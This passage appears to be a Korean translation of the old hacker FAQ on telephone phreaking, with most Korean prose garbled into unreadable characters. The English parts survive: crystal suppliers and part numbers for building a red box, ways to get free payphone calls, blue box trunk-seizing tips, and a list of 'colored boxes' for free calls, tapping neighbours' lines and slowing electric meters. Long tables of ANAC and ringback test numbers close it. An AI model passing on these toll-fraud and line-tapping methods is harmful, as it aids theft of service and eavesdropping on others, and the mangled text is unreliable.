µÈ´Ù. ÁÖ¹®Çؼ­ »ì ¼ö ÀÖ´Â °÷Àº ´ÙÀ½°ú °°´Ù.

Digi-Key

701 Brooks Avenue South

P.O. Box 677

Thief River Falls, MN 56701-0677

(800)344-4539

Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */

Part Number:X018-ND

JDR Microdevices:

2233 Branham Lane

San Jose, CA 95124

(800)538-5000

Part Number: 6.5536MHZ

Tandy Express Order Marketing

401 NE 38th Street

Fort Worth, TX 76106

(800)241-8742

Part Number: 10068625

Alltronics

2300 Zanker Road

San Jose CA 95131

(408)943-9774 Voice

(408)943-9776 Fax

(408)943-0622 BBS

Part Number: 92A057

Mouser

(800)346-6873

Part Number: 332-1066

Blue Saguaro

P.O. Box 37061

Tucson, AZ 85740

Part Number: 1458b

Unicorn Electronics

10000 Canoga Ave, Unit c-2

Chatsworth, CA 91311

Phone: 1-800-824-3432

Part Number: CR6.5

Àû»ö ±â°è°¡ µ¿ÀÛÇÏ´Â °øÁßÀüÈ­´Â ¾î¶² °ÍÀΰ¡?

Àû»ö »óÀÚ´Â teco¿¡¼­ ¸¸µç °øÁßÀüÈ­¿¡¼­ ÀÛµ¿ÇÑ´Ù. COCOT(Customer Owned Coin Operated

Telephone)¿¡¼­´Â ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù.

Àû»ö »óÀÚ´Â ACTS¸¦ ¼Ó¿©¼­ µ¿ÀûÀÎ °øÁßÀüÈ­¿¡ ³ÖÀº °ÍÀ¸·Î »ý°¢ÇÏ°Ô ÇÑ´Ù. ACTS´Â "XX¼¾Æ®À» ³Ö¾îÁÖ¼¼¿ä"¶ó°í ¹ßÇÏ´Â Àüȭȸ»çÀÇ ¼ÒÇÁÆ®¿þ¾î·Î µ¿ÀüÀ» ³Ö´Â ¼Ò¸®¸¦ È®ÀÎÇÑ´Ù.


Àû»ö ±â°è·Î ¾î¶»°Ô ½Ã³» ÀüÈ­¸¦ ÇÒ ¼ö ÀÖ³ª?

°øÁßÀüÈ­´Â ½Ã³»ÀüÈ­¿¡¼­ ACTS¸¦ ÀÌ¿ëÇÏÁö ¾Ê´Â´Ù. Àû»ö »óÀÚ¸¦ ½Ã³» ÀüÈ­¿¡ ÀÌ¿ëÇϱâ À§Çؼ­ ACTS¸¦ ¼Ó¿©¼­ ÀüÈ­¿¡ ²ø¾îµé¿©¾ß ÇÑ´Ù. ÇÑ°¡Áö ¹æ¹ýÀ¸·Î ¾î¶² Áø¿ª¿¡¼­´Â 10288-xxx-xxxx¸¦ °É¸éµÈ´Ù. ÀÌ·¸°ÔÇϸé ÅëÈ­¸¦ Àå°Å¸® ÀüÈ­·Î ÇÏ°í ACTS¸¦ ²ø¾îµéÀÌ°Ô µÈ´Ù.

´Ù¸¥ Áö¿ª¿¡¼­´Â Directory Assistance¸¦ ºÎ¸£°í ÀüÈ­ÇÏ·Á´Â »ç¶÷ÀÇ ¹øÈ£¸¦ ¹¯´Â´Ù. ±³È¯¿øÀº ÀüÈ­¹øÈ£¸¦ °¡¸£ÃÄÁÖ°í "Your call can be completed automatically for an additional 35 cents"¶ó´Â ¸»°ú À¯»çÇÑ °ÍÀ» µè°Ô µÈ´Ù. ÀÌ·¸°Ô µÇ¸é, ACTS ÅæÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ°Ô µÈ´Ù.


û»ö ±â°è(Blue Box)¶õ ¹«¾ùÀΰ¡?

û»ö ±â°è´Â 2600HzÀÇ À½À» ÀÌ¿ëÇÏ¿© in-band signalingÀ» ÀÌ¿ëÇÏ´Â ÀüÈ­ ±³È¯±âÀÇ Á¦¾î¸¦ Àâ´Â´Ù. ÀüÈ­¸¦ °Ç »ç¶÷Àº Ưº°ÇÑ ±³È¯ ±â´É¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù. û»ö »óÀÚ¿¡¼­ Á¦°øÇÏ´Â À½À» ÀÌ¿ëÇÏ¿© ´ë°³ Àå°Å¸® ÀüÈ­¸¦ °Å´Â ¸ñÀûÀ¸·Î ÁÖ·Î ÀÌ¿ëµÈ´Ù.

û»ö ±â°è´Â ¾ÆÁ÷ »ç¿ëÇÒ ¼ö ÀÖ³ª?

LODÀÇ Marauder¿¡ ÀÇÇØ ÀÛ¼ºµÇ¾î Usenet¿¡ Æ÷½ºÆà µÈ °ÍÀ» ½ÇÀº FAQÀÌ´Ù.

"ESS ¶§¹®¿¡ ´õ ÀÌ»ó û»ö ¹Ú½º¸¦ »ç¿ëÇÒ ¼ö ¾ø´Ù"¿Í °°Àº Àο빮À» ¾îµð¼±°¡ º» °Í °°´Ù. ÀÌ°ÍÀº ±×¸©µÈ »ý°¢ÀÌ´Ù. ³»°¡ ÄÚ³×ƼÄÆ¿¡ »ì°í ÀÖ¾úÀ» ¶§, Step by Step, #1AESS, ±×¸®°í DMS-100¿¡¼­ û»ý »óÀÚ¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ¾ú´Ù. ÀÌÀ¯´Â °£´ÜÇÏ´Ù. ³»°¡ ´Ù¸¥ ±³È¯±â(Class 5 office, aka Central Office)¿¡¼­ 800¹ø ¼­ºñ½º·Î ÀüÈ­¸¦ °É¾úÀ» ¶§¶óµµ 800 ÅëÈ­°¡ °ú±Ý ³×Æ®¿öÅ©·Î Àý´ÞµÇ¸é ±×°ÍÀº New Haven #5 Crossbar toll Tandem Office¸¦ ÅëÇؼ­ °¡°Ô µÈ´Ù. Ŭ¶ó½º 5(CO)¿Í Ŭ¶ó½º 4(°ú±Ý »ç¹«½Ç, ÀÌ °æ¿ì¿¡´Â New Haven #5 Xbar) »çÀÌ Æ®··Å©¿¡¼­ ½ÅÈ£¸¦ º¸³¾ ¶§ ÀϾ´Ù. ±×·¡¼­ ¾î¶² ¹øÈ£·Î °Éµç, ±×°ÍÀÌ Inter-Lata ÅëÈ­À» °æ¿ì, ÀÚ½ÅÀÇ ÅëÈ­(call)Àº ÀÌ Æ¯Á¤ Æ®··Å© ÁýÇÕÀ» Åë°úÇÏ°Ô µÈ´Ù. ±×¸®°í û»ö »óÀÚ¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ¹ß½Å Áß¾Ó »ç¹«½Ç ±³È¯±â(SXS/ESS µî)Àº ¹Ú½º¸¦ ÀÌ¿ëÇϴµ¥ º° ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê´Â´Ù. ESS(¿Í ´Ù¸¥ ÀüÀÚ ±³È¯±â)ÀÇ ÃâÇöÀÌ Ã»»ö »óÀÚ¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ Á» ´õ ¾î·Æ°Ô ¸¸µé¾úÁö¸¸, ESS´Â û»ö»óÀÚ¸¦ »ç¿ëÇÒ ¼ö ¾ø´Â ÀÌÀ¯´Â ¸øµÈ´Ù.

ÁÖ¿ä ¿øÀÎÀº CCISÀÇ "ÁøÇà À½Çâ ¼Ò°Å"±â´ÉÀÌ´Ù. (out of band signalling). ºÒ¿îÇÏ°Ôµµ Toll

Completion CenterÀÇ 99%ÀÇ Ã»»ö»óÀÚ ÀÌ¿ëÀÚ´Â CCIS ¸µÅ©¸¦ ÀÌ¿ëÇÏ°í ÀÖ´Ù. ÀÌ°ÍÀº û»ö »óÀÚÀ» ÀÌ¿ëÇÏ´Â »ç¶÷¿¡°Ô´Â Àç¾ÈÀÌ´Ù. ¿Ö³ÄÇϸé, ´ëºÎºÐÀÇ MF signallingÀ» ÀÌ¿ëÇÏ´Â Æ®··Å©¸¦ ã±â À§ÇØ Áö¿ªÀ¸·ÎºÎÅÍ ÀüÈ­¸¦ Áö¿ª ¹ÛÀ¸·Î °É ¶§, CCIS°¡ ÀåÄ¡µÈ ³×Æ®¿öÅ©ÀÇ ºÎºÐÀ» ¾î¿ ¼ö ¾øÀÌ Áö³ª¾ß µÇ±â ¶§¹®¿¡ 2600hz¸¦ º¸³¾ ±³È¯±â¸¦ ã¾Æ¼­ "winkstart" ½ÅÈ£¸¦ ¹Þ°í³ª¼­ MF ½ÅÈ£¸¦ º¸³»´õ¶óµµ Àç¸í·É ½ÅÈ£¸¸À» ¹Þ°Ô µÈ´Ù. ÀÌ°ÍÀº Æ®··Å©¸¦ ÀâÀÚ¸¶ÀÚ(2600hz¸¦ ÀÌ¿ëÇÏ¿©), Originating

Toll Office°¡ ¸ñÀûÁö¿¡¼­ÀÇ ÅëÁ¦¸¦ ÀÒÀº °ÍÀ¸·Î º»´Ù(´Ù½Ã ¸»Çؼ­ Æ®··Å©¸¦ ±â´Ù¸®´Â °Í). Àç¸í·ÉÀ» ¹Þ°Ô µÇ´Â °ÍÀº ±â´Ù¸®°í ÀÕ´Â Æ®··Å©°¡ MF ÅæÀ» µè±â ¸øÇϱ⠶§¹®ÀÌ´Ù. ÀÌ°ÍÀº °ð ŸÀӾƿô¿¡ °É¸®°Ô µÈ´Ù. µû¶ó¼­ ¾î¶»°ÔÇؼ­µç MF ½ÅÈ£¸¦ ÀÌ¿ëÇÏÁö¸¸ CCISS audio mute ¹®Á¦¸¦ ÇÇÇÏ°ÔÀ̳ª Á¤Áö½ÃŲ °÷À» ã¾Æ¾ß ÇÑ´Ù. (ÈùÆ®: WATS È®Àå±â¸¦ Àß »ìÆ캻´Ù.)

Èæ»ö ±â°è´Â ¹«¾ùÀΰ¡?

Èæ»ö »óÀÚ´Â ÀúÇ×(¶Ç´Â º´·Ä·Î ¿¬°áµÈ ÄÁµ§¼­)·Î ÀüÈ­¸¦ ¹Þ¾Ò´ÂÁö ÀüÈ­ ȸ»çÀÇ Àåºñ°¡ ¾Ë ¼ö ¾øµµ·Ï ÀüÈ­¼±¿¡ ¼³Ä¡ÇÏ´Â °ÍÀÌ´Ù. Èæ»ö »óÀÚ°¡ ÀÖ´Â ÀüÈ­¿¡ ÀüÈ­¸¦ °Ç »ç¶÷Àº ÀüÈ­ºñ¸¦ ÁöºÒÇÏÁö ¾Ê°Ô µÈ´Ù. Èæ»ö »óÀÚ´Â ESS¿¡¼­ ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù.

À¯»ö ±â°è(colored box)´Â ¸ðµÎ ¹«½¼ ±â´ÉÀÌ ÀÖ³ª?

Acrylic Steal Three-Way-Calling, Call Waiting and programmable

Call Forwarding on old 4-wire phone systems

Aqua Drain the voltage of the FBI lock-in-trace/trap-trace

Beige Lineman's hand set

Black Allows the calling party to not be billed for the call

placed

Blast Phone microphone amplifier

Blotto Supposedly shorts every phone out in the immediate area

Blue Emulate a true operator by seizing a trunk with a 2600hz

tone

Brown Create a party line from 2 phone lines

Bud Tap into your neighbors phone line

Chartreuse Use the electricity from your phone line

Cheese Connect two phones to create a diverter

Chrome Manipulate Traffic Signals by Remote Control

Clear A telephone pickup coil and a small amp used to make free

calls on Fortress Phones

Color Line activated telephone recorder

Copper Cause crosstalk interference on an extender

Crimson Hold button

Dark Re-route outgoing or incoming calls to another phone

Dayglo Connect to your neighbors phone line

Diverter Re-route outgoing or incoming calls to another phone

DLOC Create a party line from 2 phone lines

Gold Dialout router

Green Emulate the Coin Collect, Coin Return, and Ringback tones

Infinity Remotely activated phone tap

Jack Touch-Tone key pad

Light In-use light

Lunch AM transmitter

Magenta Connect a remote phone line to another remote phone line

Mauve Phone tap without cutting into a line

Neon External microphone

Noise Create line noise

Olive External ringer

Party Create a party line from 2 phone lines

Pearl Tone generator

Pink Create a party line from 2 phone lines

Purple Telephone hold button

Rainbow Kill a trace by putting 120v into the phone line (joke)

Razz Tap into your neighbors phone

Red Make free phone calls from pay phones by generating

quarter tones

Rock Add music to your phone line

Scarlet Cause a neighbors phone line to have poor reception

Silver Create the DTMF tones for A, B, C and D

Static Keep the voltage on a phone line high

Switch Add hold, indicator lights, conferencing, etc..

Tan Line activated telephone recorder

Tron Reverse the phase of power to your house, causing your

electric meter to run slower

TV Cable "See" sound waves on your TV

Urine Create a capacitative disturbance between the ring and

tip wires in another's telephone headset

Violet Keep a payphone from hanging up

White Portable DTMF keypad

Yellow Add an extension phone

¹Ú½º °³³äµµ´Â ´ÙÀ½ FTP »çÀÌÆ®¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

ftp.netcom.com /pub/br/bradleym

ftp.netcom.com /pub/va/vandal

ftp.winternet.com /users/nitehwk


ANAC ¹øÈ£¶õ ¹«¾ùÀΰ¡?

ANAC (Automatic Number Announcecement Circuit) ¹øÈ£´Â ÀüÈ­¹øÈ£·Î¼­, ÀüÈ­¸¦ °Ç ÀüÈ­ÀÇ

¹øÈ£¸¦ ´Ù½Ã µé·ÁÁÖ´Â °ÍÀÌ´Ù. ANAC ¹øÈ£´Â ÇÑ ½ÖÀÇ ÀüÈ­¼±ÀÇ ÀüÈ­¹øÈ£¸¦ ¾Ë°í ½ÍÀ» °æ¿ì¿¡ Æí¸®ÇÏ´Ù.

³»°¡ ÀÖ´Â Áö¿ªÀÇ ANAC ¹øÈ£´Â?

ANAC ¹øÈ£ ã´Â ¹ý:

NPA(Area Code)¸¦ ã´Â´Ù. ±×¸®°í ±×°÷¿¡ ³ªÅ¸³­ ¹øÈ£¸¦ ½ÃµµÇØ º»´Ù. ½ÇÆÐÇϸé, ³ªÅ¸³ª ÀÖ´Â ¹ø

È£¿¡ 1À» ´õÇؼ­ ½ÃµµÇØ º»´Ù. ±×°Íµµ ½ÇÆÐÇϸé, 311, 958±×¸®°í 200-222-2222¿Í °°Àº ÀϹÝÀûÀÎ ¹øÈ£¸¦ ½ÃµµÇØ º»´Ù. ±× Áö¿ªÀÇ ANAC ¹øÈ£¸¦ ãÀ» °æ¿ì Å뺸ÇØ ÁÖ¾úÀ¸¸é ÁÁ°Ú´Ù.

°°Àº µµ½Ã ³»¿¡¼­µµ ±³È¯±â¿¡ µû¶ó¼­ ANAC ¹øÈ£°¡ ´Ù¾çÇÏ´Ù. ã°í ÀÖ´Â ÀüÈ­¹øÈ£¸¦ ¾Ë±â À§Çؼ­ ¸Þ´º¸¦ µû¶ó µÚÁ®¾ß ÇÑ´Ù. 800 ANAC ¹øÈ£¸¦ ³²¿ëÇÒ °æ¿ì ±× ¹øÈ£°¡ »ç¶óÁú ¿°·Á°¡ ÀÖÀ¸¹Ç·Î µÇµµ·Ï Áö¿ª ANAC ¹øÈ£¸¦ ÀÌ¿ëÇϱ⠹ٶõ´Ù.

N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME

(800)568-3197 Info Access Telephone Company's Automated Blocking Line

(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)

N (800)858-9857 AT&T True Rewards

800¹øÀÌ ¾Æ´Ñ ÀüÁö¿ª ANAC ¹øÈ£´Â 404-988-9664ÀÌ´Ù. AT&T Carrier Access Code 10732·Î Àü

È­¸¦ °É¾î¾ß ÇÑ´Ù. ÀÌ ¹øÈ£¸¦ »ç¿ëÇÒ °æ¿ì, ¿ä±ÝÀÌ ºÎ°úµÇÁö ¾Ê´Â °ÍÀ¸·Î º¸ÀδÙ.

ÁÖÀÇ : ÀÌ°ÍÀº Âü°í¸¦ À§ÇÑ °ÍÀÌ´Ù. ANAC ¹øÈ£´Â °°Àº µµ½Ã ³»¿¡¼­µµ ±³È¯±â¿¡ µû¶ó ´Þ¶óÁø´Ù.

NPA ANAC number Approximate Geographic area

--- --------------- ---------------------------------------------

201 958 Hackensack/Jersey City/Newark/Paterson, NJ

202 811 District of Columbia

203 970 CT

205 300-222-2222 Birmingham, AL

205 300-555-5555 Many small towns in AL

205 300-648-1111 Dora, AL

205 300-765-4321 Bessemer, AL

205 300-798-1111 Forestdale, AL

205 300-833-3333 Birmingham

205 557-2311 Birmingham, AL

205 811 Pell City/Cropwell/Lincoln, AL

205 841-1111 Tarrant, AL

205 908-222-2222 Birmingham, AL

206 411 WA (Not US West)

207 958 ME

209 830-2121 Stockton, CA

209 211-9779 Stockton, CA

210 830 Brownsville/Laredo/San Antonio, TX

N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)

212 958 Manhattan, NY

213 114 Los Angeles, CA (GTE)

213 1223 Los Angeles, CA (Some 1AESS switches)

213 211-2345 Los Angeles, CA (English response)

213 211-2346 Los Angeles, CA (DTMF response)

213 760-2??? Los Angeles, CA (DMS switches)

213 61056 Los Angeles, CA

214 570 Dallas, TX

214 790 Dallas, TX (GTE)

214 970-222-2222 Dallas, TX

214 970-611-1111 Dallas, TX (Southwestern Bell)

215 410-xxxx Philadelphia, PA

215 511 Philadelphia, PA

215 958 Philadelphia, PA

216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH

216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH

216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH

217 200-xxx-xxxx Champaign-Urbana/Springfield, IL

219 550 Gary/Hammond/Michigan City/Southbend, IN

219 559 Gary/Hammond/Michigan City/Southbend, IN

N 301 2002006969 Hagerstown/Rockville, MD

301 958-9968 Hagerstown/Rockville, MD

303 958 Aspen/Boulder/Denver/Durango/Grand Junction

/Steamboat Springs, CO

N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL

N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL

N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL

310 114 Long Beach, CA (On many GTE switches)

310 1223 Long Beach, CA (Some 1AESS switches)

310 211-2345 Long Beach, CA (English response)

310 211-2346 Long Beach, CA (DTMF response)

312 200 Chicago, IL

312 290 Chicago, IL

312 1-200-8825 Chicago, IL (Last four change rapidly)

312 1-200-555-1212 Chicago, IL

313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI

313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI

313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI

313 200200200200200 Ann Arbor/Dearborn/Detroit, MI

314 410-xxxx# Columbia/Jefferson City/St.Louis, MO

315 953 Syracuse/Utica, NY

315 958 Syracuse/Utica, NY

315 998 Syracuse/Utica, NY

317 310-222-2222 Indianapolis/Kokomo, IN

317 559-222-2222 Indianapolis/Kokomo, IN

317 743-1218 Indianapolis/Kokomo, IN

334 5572411 Montgomery, AL

334 5572311 Montgomery, AL

401 200-200-4444 RI

401 222-2222 RI

402 311 Lincoln, NE

404 311 Atlanta, GA

N 770 780-2311 Atlanta, GA

404 940-xxx-xxxx Atlanta, GA

404 990 Atlanta, GA

405 890-7777777 Enid/Oklahoma City, OK

405 897 Enid/Oklahoma City, OK

U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)

N 407 520-3111 Orlando/West Palm Beach, FL (United)

408 300-xxx-xxxx San Jose, CA

408 760 San Jose, CA

408 940 San Jose, CA

409 951 Beaumont/Galveston, TX

409 970-xxxx Beaumont/Galveston, TX

410 200-6969 Annapolis/Baltimore, MD

N 410 200-200-6969 Annapolis/Baltimore, MD

410 200-555-1212 Annapolis/Baltimore, MD

410 811 Annapolis/Baltimore, MD

412 711-6633 Pittsburgh, PA

412 711-4411 Pittsburgh, PA

412 999-xxxx Pittsburgh, PA

413 958 Pittsfield/Springfield, MA

413 200-555-5555 Pittsfield/Springfield, MA

414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI

415 200-555-1212 San Francisco, CA

415 211-2111 San Francisco, CA

415 2222 San Francisco, CA

415 640 San Francisco, CA

415 760-2878 San Francisco, CA

415 7600-2222 San Francisco, CA

419 311 Toledo, OH

N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN

N 501 511 AR

502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY

502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY

503 611 Portland, OR

503 999 Portland, OR (GTE)

504 99882233 Baton Rouge/New Orleans, LA

504 201-269-1111 Baton Rouge/New Orleans, LA

504 998 Baton Rouge/New Orleans, LA

504 99851-0000000000 Baton Rouge/New Orleans, LA

508 958 Fall River/New Bedford/Worchester, MA

508 200-222-1234 Fall River/New Bedford/Worchester, A

508 200-222-2222 Fall River/New Bedford/Worchester, A

508 26011 Fall River/New Bedford/Worchester, MA

509 560 Spokane/Walla Walla/Yakima, WA

510 760-1111 Oakland, CA

512 830 Austin/Corpus Christi, TX

512 970-xxxx Austin/Corpus Christi, TX

N 513 380-55555555 Cincinnati/Dayton, OH

515 5463 Des Moines, IA

515 811 Des Moines, IA

516 958 Hempstead/Long Island, NY

516 968 Hempstead/Long Island, NY

517 200-222-2222 Bay City/Jackson/Lansing, MI

517 200200200200200 Bay City/Jackson/Lansing, MI

518 511 Albany/Schenectady/Troy, NY

518 997 Albany/Schenectady/Troy, NY

518 998 Albany/Schenectady/Troy, NY

N 540 211 Roanoke, VA (GTE)

N 540 311 Roanoke, VA (GTE)

N 541 200 Bend, OR

603 200-222-2222 NH

606 997-555-1212 Ashland/Winchester, KY

606 711 Ashland/Winchester, KY

607 993 Binghamton/Elmira, NY

609 958 Atlantic City/Camden/Trenton/Vineland, NJ

610 958 Allentown/Reading, PA

610 958-4100 Allentown/Reading, PA

612 511 Minneapolis/St.Paul, MN

614 200 Columbus/Steubenville, OH

614 571 Columbus/Steubenville, OH

615 200200200200200 Chatanooga/Knoxville/Nashville, TN

615 2002222222 Chatanooga/Knoxville/Nashville, TN

615 830 Nashville, TN

616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, I

617 200-222-1234 Boston, MA

617 200-222-2222 Boston, MA

617 200-444-4444 Boston, MA (Woburn, MA)

617 220-2622 Boston, MA

617 958 Boston, MA

618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL

618 930 Alton/Cairo/Mt.Vernon, IL

619 211-2001 San Diego, CA

619 211-2121 San Diego, CA

N 659 220-2622 Newmarket, NH

N 703 211 VA

N 703 511-3636 Culpeper/Orange/Fredericksburg, VA

703 811 Alexandria/Arlington/Roanoke, VA

704 311 Asheville/Charlotte, NC

N 706 940-xxxx Augusta, GA

707 211-2222 Eureka, CA

708 1-200-555-1212 Chicago/Elgin, IL

708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)

708 200-6153 Chicago/Elgin, IL

708 724-9951 Chicago/Elgin, IL

713 380 Houston, TX

713 970-xxxx Houston, TX

713 811 Humble, TX

N 713 380-5555-5555 Houston, TX

714 114 Anaheim, CA (GTE)

714 211-2121 Anaheim, CA (PacBell)

714 211-2222 Anaheim, CA (Pacbell)

N 714 211-7777 Anaheim, CA (Pacbell)

716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)

716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)

717 958 Harrisburg/Scranton/Wilkes-Barre, PA

718 958 Bronx/Brooklyn/Queens/Staten Island, NY

N 770 940-xxx-xxxx Marietta/Norcross, GA

N 770 780-2311 Marietta/Norcross, GA

802 2-222-222-2222 Vermont

802 200-222-2222 Vermont

802 1-700-222-2222 Vermont

802 111-2222 Vermont

N 804 990 Virginia Beach, VA

805 114 Bakersfield/Santa Barbara, CA

805 211-2345 Bakersfield/Santa Barbara, CA

805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)

805 830 Bakersfield/Santa Barbara, CA

806 970-xxxx Amarillo/Lubbock, TX

810 200200200200200 Flint/Pontiac/Southfield/Troy, I

N 810 311 Pontiac/Southfield/Troy, MI

812 410-555-1212 Evansville, IN

813 311 Ft. Meyers/St. Petersburg/Tampa, FL

N 815 200-3374 Crystal Lake, IL

N 815 270-3374 Crystal Lake, IL

N 815 770-3374 Crystal Lake, IL

815 200-xxx-xxxx La Salle/Rockford, IL

815 290 La Salle/Rockford, IL

817 211 Ft. Worth/Waco, TX

817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)

818 1223 Pasadena, CA (Some 1AESS switches)

818 211-2345 Pasadena, CA (English response)

818 211-2346 Pasadena, CA (DTMF response)

N 860 970 CT

903 970-611-1111 Tyler, TX

904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL

906 1-200-222-2222 Marquette/Sault Ste. Marie, MI

907 811 AK

908 958 New Brunswick, NJ

N 909 111 Riverside/San Bernardino, CA (GTE)

910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC

910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC

910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC

914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY

915 970-xxxx Abilene/El Paso, TX

N 916 211-0007 Sacramento, CA (Pac Bell)

916 461 Sacramento, CA (Roseville Telephone)

919 200 Durham, NC

919 711 Durham, NC

N 954 200-555-1212 Ft. Lauderdale, FL

N 954 200200200200200 Ft. Lauderdale, FL

N 954 780-2411 Ft. Lauderdale, FL

Canada:

204 644-4444 Manitoba

306 115 Saskatchewan

403 311 Alberta, Yukon and N.W. Territory

403 908-222-2222 Alberta, Yukon and N.W. Territory

403 999 Alberta, Yukon and N.W. Territory

416 997-xxxx Toronto, Ontario

506 1-555-1313 New Brunswick

514 320-xxxx Montreal, Quebec

U 514 320-1232 Montreal, Quebec

U 514 320-1223 Montreal, Quebec

U 514 320-1233 Montreal, Quebec

519 320-xxxx London, Ontario

604 1116 British Columbia

604 1211 British Columbia

604 211 British Columbia

613 320-2232 Ottawa, Ontario

705 320-4567 North Bay/Saulte Ste. Marie, Ontario

N 819 320-1112 Quebec

Australia:

+61 03-552-4111 Victoria 03 area

+612 19123 All major capital cities

+612 11544

United Kingdom:

175

Israel:

110

Àç½ÅÈ£(ringback) ¹øÈ£¶õ ¹«¾ùÀΰ¡?

Àç½ÅÈ£ ¹øÈ£¶õ ÀüÈ­°¡ °É·Á¿Ô´ø °÷À¸·Î Áï½Ã ´Ù½Ã ÀüÈ­¸¦ °Å´Â ¹øÈ£ÀÌ´Ù.

´ëºÎºÐÀÇ °æ¿ì, Àç½ÅÈ£ ¹øÈ£¿¡ ÀüÈ­¸¦ °É°í



³»°¡ ÀÖ´Â Áö¿ªÀÇ Àç½ÅÈ£ ¹øÈ£´Â?

'x'´Â ÀüÈ­¸¦ °É°í ÀÖ´Â °÷ÀÇ ÀüÈ­ ¹øÈ£¸¦ ´ë½Å ³Ö¾î¾ß ÇÒ °÷ÀÌ´Ù. '?'´Â Áö¿ª¿¡ ÀÖ´Â ±³È¯±â¸¶´Ù

´Þ¶óÁö°Å³ª ½Ã°£¿¡ µû¶ó ´Þ¶óÁö´Â ¹øÈ£¸¦ ¸»ÇÑ´Ù. °¡´ÉÇÑ ¸ðµç Á¶ÇÕÀ» ½ÃµµÇØ º¸±â ¹Ù¶õ´Ù.

NPA¿¡ ´ëÇÑ Àç½ÅÈ£ ¹øÈ£°¡ ¾ø´Ù¸é, 114, 951-xxx-xxxx, 954, 957 ±×¸®°í 958À» ½ÃµµÇغ¸¶ó.

±×¸®°í, ÀüÈ­ ȸ»ç¿¡¼­ Á¦°øÇÏ´Â ´Ù¸¥ NPA ¹øÈ£µµ ½ÃµµÇØ º¸¶ó.

ÁÖÀÇ: ÀÌ Áö¸®Àû Áö¿ªÀº Âü°íÀÇ ¸ñÀû¸¸À» À§ÇÑ °ÍÀÌ´Ù. Àç½ÅÈ£¹øÈ£´Â °°Àº µµ½Ã ³»¿¡¼­µµ ±³È¯±â

¸¶´Ù ´Ù¸¦ ¼ö ÀÖ´Ù.

NPA Ringback number Approximate Geographic area

--- --------------- ---------------------------------------------

201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ

202 958-xxxx District of Columbia

203 99?-xxxx CT

206 571-xxxx WA

N 208 59X-xxxx ID

208 99xxx-xxxx ID

N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)

213 1-95x-xxxx Los Angeles, CA

N 214 971-xxxx Dallas, TX

215 811-xxxx Philadelphia, PA

216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH

219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN

219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN

301 579-xxxx Hagerstown/Rockville, MD

301 958-xxxx Hagerstown/Rockville, MD

303 99X-xxxx Grand Junction, CO

304 998-xxxx WV

305 999-xxxx Ft. Lauderdale/Key West/Miami, FL

312 511-xxxx Chicago, IL

312 511-xxx-xxxx Chicago, IL

312 57?-xxxx Chicago, IL

315 98x-xxxx Syracuse/Utica, NY

317 777-xxxx Indianapolis/Kokomo, IN

317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)

319 79x-xxxx Davenport/Dubuque, Iowa

334 901-xxxx Montgomery, AL

401 98?-xxxx RI

404 450-xxxx Atlanta, GA

407 988-xxxx Orlando/West Palm Beach, FL

408 470-xxxx San Jose, CA

408 580-xxxx San Jose, CA

412 985-xxxx Pittsburgh, PA

414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI

414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI

415 350-xxxx San Francisco, CA

417 551-xxxx Joplin/Springfield, MO

501 221-xxx-xxxx AR

501 721-xxx-xxxx AR

502 988 Frankfort/Louisville/Paducah/Shelbyville, KY

503 541-XXXX OR

504 99x-xxxx Baton Rouge/New Orleans, LA

504 9988776655 Baton Rouge/New Orleans, LA

505 59?-xxxx New Mexico

512 95X-xxxx Austin, TX

513 951-xxxx Cincinnati/Dayton, OH

513 955-xxxx Cincinnati/Dayton, OH

513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)

N 515 559-XXXX Des Moines, IA

516 660-xxx-xxxx Hempstead/Long Island, NY

601 777-xxxx MS

609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ

610 811-xxxx Allentown/Reading, PA

612 511 Minneapolis/St.Paul, MN

612 999-xxx-xxxx Minneapolis/St.Paul, MN

N 613 999-xxx-xxxx Ottawa, Ontario

